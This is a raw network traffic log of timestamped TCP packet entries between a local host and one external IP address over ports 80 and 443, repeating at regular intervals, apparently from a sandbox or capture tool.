Jan 14, 2025 08:25:23.716197014 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:23.717439890 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:23.759335041 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.312118053 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.312483072 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.312551022 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.312602997 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.312624931 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.312643051 CET	50061	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.312650919 CET	443	50061	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.426575899 CET	50062	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.431410074 CET	80	50062	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.431576967 CET	50062	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.431936979 CET	50062	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.433629036 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.436821938 CET	80	50062	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.436894894 CET	50062	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.438471079 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.744117022 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.745595932 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.745651960 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.745721102 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.746058941 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:24.746077061 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:24.787262917 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:25.647644043 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:25.647828102 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:25.651649952 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:25.651675940 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:25.652076960 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:25.653623104 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:25.695346117 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.238374949 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.238714933 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.238825083 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.238871098 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.238889933 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.238903046 CET	50063	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.238909006 CET	443	50063	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.353732109 CET	50064	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.358683109 CET	80	50064	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.358817101 CET	50064	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.358935118 CET	50064	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.360616922 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.363861084 CET	80	50064	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.363939047 CET	50064	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.365464926 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.671545982 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.673003912 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.673047066 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.673156977 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.673536062 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:26.673552036 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:26.723270893 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:27.568686008 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:27.568751097 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:27.569973946 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:27.569983006 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:27.570219994 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:27.571377993 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:27.619330883 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.156678915 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.157155037 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.157242060 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.157725096 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.157743931 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.157757998 CET	50065	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.157763958 CET	443	50065	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.272572041 CET	50066	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.277565956 CET	80	50066	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.277659893 CET	50066	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.277785063 CET	50066	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.279562950 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.282643080 CET	80	50066	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.282722950 CET	50066	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.284518003 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.590183973 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.591753006 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.591798067 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.591903925 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.592278004 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:28.592293978 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:28.643420935 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:29.504432917 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:29.504571915 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:29.506017923 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:29.506030083 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:29.506253004 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:29.507548094 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:29.555330992 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.103617907 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.103961945 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.104038954 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.104072094 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.104089022 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.104127884 CET	50067	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.104135990 CET	443	50067	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.216922998 CET	50068	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.221915960 CET	80	50068	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.222021103 CET	50068	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.222189903 CET	50068	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.223527908 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.226983070 CET	80	50068	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.227046967 CET	50068	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.228348017 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.536135912 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.577661037 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.577692032 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.577754974 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.578077078 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:30.578088999 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:30.579232931 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:31.479909897 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:31.480032921 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:31.481329918 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:31.481338978 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:31.481684923 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:31.483170986 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:31.527323961 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.071651936 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.071954012 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.072052002 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.072052002 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.072103977 CET	50069	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.072124958 CET	443	50069	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.185188055 CET	50070	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.189990044 CET	80	50070	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.190073013 CET	50070	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.192707062 CET	50070	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.197508097 CET	80	50070	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.197566032 CET	50070	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.234637022 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.239522934 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.554723978 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.556162119 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.556196928 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.556257010 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.556600094 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:32.556610107 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:32.610291004 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:33.452900887 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:33.452995062 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:33.454315901 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:33.454338074 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:33.454544067 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:33.455749035 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:33.499330997 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.060343027 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.060782909 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.060945034 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.060945988 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.064402103 CET	50071	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.064415932 CET	443	50071	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.174527884 CET	50072	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.179358959 CET	80	50072	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.179451942 CET	50072	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.179554939 CET	50072	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.181060076 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.184365034 CET	80	50072	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.184498072 CET	80	50072	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.184545040 CET	50072	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.185811996 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.491100073 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.492485046 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.492520094 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.492575884 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.492933989 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:34.492949963 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:34.544265032 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.378213882 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.378326893 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.379662991 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.379679918 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.379888058 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.381055117 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.423329115 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.960453987 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.960736990 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.960803986 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.960880041 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.960899115 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:35.960916042 CET	50073	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:35.960921049 CET	443	50073	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.072169065 CET	50074	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.077023029 CET	80	50074	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.077146053 CET	50074	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.077303886 CET	50074	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.078697920 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.082185984 CET	80	50074	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.082259893 CET	50074	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.083534002 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.389172077 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.390559912 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.390600920 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.390700102 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.391027927 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:36.391043901 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:36.442250013 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.276078939 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.276138067 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.277973890 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.277986050 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.278182030 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.279536009 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.327330112 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.855365038 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.855601072 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.855710030 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.855834007 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.855849981 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.855865002 CET	50075	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.855870962 CET	443	50075	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.970657110 CET	50076	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.975519896 CET	80	50076	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.975591898 CET	50076	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.975778103 CET	50076	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.977544069 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.981132030 CET	80	50076	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:37.981223106 CET	50076	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:37.982815981 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:38.288398027 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:38.322460890 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:38.322504997 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:38.322585106 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:38.322947025 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:38.322961092 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:38.329256058 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.232805014 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.232949972 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.234261990 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.234273911 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.235032082 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.236294031 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.283330917 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.825571060 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.825757027 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.825834990 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.825864077 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.825864077 CET	50077	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.825876951 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.825886965 CET	443	50077	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.939069986 CET	50078	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.943927050 CET	80	50078	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.944149017 CET	50078	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.944367886 CET	50078	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.946317911 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.949171066 CET	80	50078	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:39.949275017 CET	50078	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:39.951112032 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:40.257287025 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:40.259116888 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:40.259161949 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:40.259253025 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:40.259640932 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:40.259655952 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:40.306276083 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.165399075 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.165641069 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.166918039 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.166924953 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.167246103 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.168392897 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.211325884 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.746423006 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.746601105 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.746691942 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.746721029 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.746721029 CET	50079	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.746738911 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.746747971 CET	443	50079	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.860179901 CET	50080	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.865050077 CET	80	50080	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.865163088 CET	50080	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.865319967 CET	50080	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.866827011 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.870759964 CET	80	50080	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:41.870830059 CET	50080	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:41.872237921 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:42.177628040 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:42.179025888 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:42.179038048 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:42.179106951 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:42.179462910 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:42.179472923 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:42.221265078 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.065366983 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.065506935 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.066828012 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.066843033 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.067763090 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.069118977 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.111329079 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.637238979 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.637556076 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.637638092 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.637803078 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.637803078 CET	50081	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.637820959 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.637834072 CET	443	50081	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.753530979 CET	50082	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.758426905 CET	80	50082	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.758555889 CET	50082	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.758671045 CET	50082	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.760250092 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.763438940 CET	80	50082	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:43.763508081 CET	50082	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:43.765003920 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.070542097 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.071986914 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.072015047 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.072098017 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.072494984 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.072508097 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.123259068 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.968980074 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.969186068 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.970341921 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:44.970350981 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.971110106 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:44.972412109 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.019330978 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.545464993 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.545703888 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.545777082 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.545825958 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.545839071 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.545862913 CET	50083	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.545869112 CET	443	50083	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.659028053 CET	50084	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.663840055 CET	80	50084	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.663917065 CET	50084	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.664026976 CET	50084	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.665513039 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.669274092 CET	80	50084	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.669428110 CET	50084	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.670320988 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.975619078 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.977111101 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.977147102 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:45.977231979 CET	50085	443	192.168.2.6	166.62.27.188
